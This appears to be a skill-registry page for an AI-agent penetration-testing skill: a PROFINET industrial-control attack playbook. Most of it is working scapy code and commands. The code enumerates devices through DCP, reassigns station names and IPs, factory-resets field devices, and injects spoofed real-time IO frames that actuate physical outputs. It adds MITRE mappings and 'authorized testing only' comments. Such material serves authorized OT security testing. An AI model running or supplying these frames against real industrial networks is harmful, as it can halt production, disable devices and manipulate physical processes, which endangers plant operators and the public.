PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.
61
72%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.mdPROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it). DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.
DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to BF (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection. DCP Identify (read) is safe.
pn_dcp dissector (ships by default — filter: pn_dcp).scapy for DCP crafting (or python-profinet library).# Verify interface sees PROFINET frames
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
# If frames appear: you are on the OT segment
# Install scapy (already on Kali)
pip install scapy
# python-profinet (alternative higher-level library)
pip install profinetDCP Identify-All is a Layer-2 broadcast to 01:0E:CF:00:00:00 (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.
# Capture DCP traffic — Identify requests and responses
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)
# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1from scapy.all import Ether, sendp, sniff
import struct, socket, time
PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0" # replace with your OT interface
def build_dcp_identify_all(xid=1):
"""Build a PROFINET DCP Identify-All request frame."""
# PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)
frame_id = struct.pack(">H", 0xFEFE)
# DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength
dcp_header = struct.pack(">BBHHHH",
0x05, # ServiceID: Identify
0x00, # ServiceType: Request
xid, # XID
0x0000, # Reserved
0x0000, # ResponseDelay (0=immediate broadcast)
0x0004, # DCPDataLength (4 bytes for the suboption block)
)
# DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0
dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)
payload = frame_id + dcp_header + dcp_block
frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
return frame
def dcp_identify_all(iface=IFACE, timeout=3):
frame = build_dcp_identify_all()
sendp(frame, iface=iface, verbose=False)
print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...")
responses = sniff(
iface=iface,
filter=f"ether proto {hex(PROFINET_ETHERTYPE)}",
timeout=timeout,
count=200,
)
devices = []
for pkt in responses:
raw = bytes(pkt.payload)
frame_id = struct.unpack(">H", raw[:2])[0]
if frame_id == 0xFEFE and len(raw) > 10:
# This is a DCP response — parse it
src_mac = pkt.src
# Extract NameOfStation from block (simple heuristic parse)
# Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable
devices.append({"mac": src_mac, "raw_len": len(raw)})
print(f" Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details")
return devices
dcp_identify_all()TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.
DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).
from scapy.all import Ether, sendp, sniff
import struct
PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"
def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
"""
DCP Get Request for a specific block.
option 0x01 suboption 0x01 = NameOfStation
option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
option 0x02 suboption 0x05 = DeviceOptions
"""
frame_id = struct.pack(">H", 0xFEFD) # 0xFEFD = DCP Get/Set
dcp_header = struct.pack(">BBHHHH",
0x03, # ServiceID: Get
0x00, # ServiceType: Request
xid,
0x0000,
0x0000,
0x0004, # DCPDataLength
)
dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# Get station name from device with known MAC
# frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01)
# sendp(frame, iface=IFACE, verbose=False)
# capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2)DCP Set with Suboption=Signal causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.
def build_dcp_flash_led(dst_mac, xid=10):
"""DCP Set Signal — blink device LED (physical locate)."""
frame_id = struct.pack(">H", 0xFEFD)
# Block: Option=0x05 (Control), Suboption=0x03 (Signal)
# BlockQualifier=0x0000, SignalValue=0x0100 (blink)
dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
dcp_data_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH",
0x04, # ServiceID: Set
0x00, # ServiceType: Request
xid,
0x0000,
0x0000,
dcp_data_len,
)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE)STOP. All DCP Set operations below are write-class and require explicit scope authorization. Station-name change and IP change immediately disrupt process communication.
When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to BF (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.
def build_dcp_set_station_name(dst_mac, new_name, xid=20):
"""
DCP Set NameOfStation.
Option=0x01, Suboption=0x01 (NameOfStation).
new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
"""
name_bytes = new_name.encode("ascii").lower()
# Pad to even length
if len(name_bytes) % 2:
name_bytes += b"\x00"
block_len = len(name_bytes)
# Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name
dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
total_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
frame_id = struct.pack(">H", 0xFEFD)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE)
# After this, the original controller can no longer find "original-station-name"
# The device enters BF state and may stop responding to IO controller.import ipaddress
def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
"""
DCP Set IPSuite.
Option=0x01, Suboption=0x02.
"""
ip_int = int(ipaddress.IPv4Address(new_ip))
sub_int = int(ipaddress.IPv4Address(new_subnet))
gw_int = int(ipaddress.IPv4Address(new_gateway))
dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
struct.pack(">H", 0x0001) + \
struct.pack(">III", ip_int, sub_int, gw_int)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE)Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.
def build_dcp_factory_reset(dst_mac, xid=30):
"""
DCP Set Control/FactoryReset.
Option=0x05, Suboption=0x04.
"""
dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
# AUTHORIZED TESTING ONLY — extremely disruptive:
# sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE)PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.
# Capture baseline cyclic IO traffic for a device pair
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF
# Identify FrameID, CycleCounter pattern, DataLen for the target devicefrom scapy.all import Ether, sendp
import struct, time
def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
"""
Inject a PROFINET RT cyclic data frame.
frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
cycle_counter: Increment to match expected sequence (replay detection hint)
io_data: bytes — the cyclic process data payload (output values for the IO-device)
"""
# PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)
rt_header = struct.pack(">H", frame_id)
rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
# DataStatus 0x35 = valid + running + no problem
payload = rt_header + io_data + rt_footer
frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
sendp(frame, iface=iface, verbose=False)
# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY
# io_data = b"\x00" * 4 # size must match actual IO module output size
# inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data)Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.
| Finding | MITRE | Impact |
|---|---|---|
| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names |
| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |
| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |
| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |
| Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |
| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |
kg_add_node(
kind="finding",
label="PROFINET DCP unauthenticated device enumeration",
props={
"key": f"profinet-dcp::{iface}",
"protocol": "profinet-dcp",
"ethertype": "0x8892",
"devices_found": device_count,
"station_names": station_names_list, # list of discovered names
"dcp_set_accepted": False, # set True only after confirmed write-scope test
"source": "scapy-dcp-identify-all",
"l2_segment": iface,
},
).pcap) containing DCP Identify responses, showing at least one device with decoded NameOfStation, IPSuite, and VendorID blocks.If write testing was authorized: include DCP Set response frame showing BlockError=0x00 (Set accepted) and a follow-up DCP Get confirming the new station name or IP.
DataStatus watchdog alarms on the IO-device.s7comm skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.pn_dcp and pn_rt dissectors — Wireshark PROFINET protocol documentatione34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.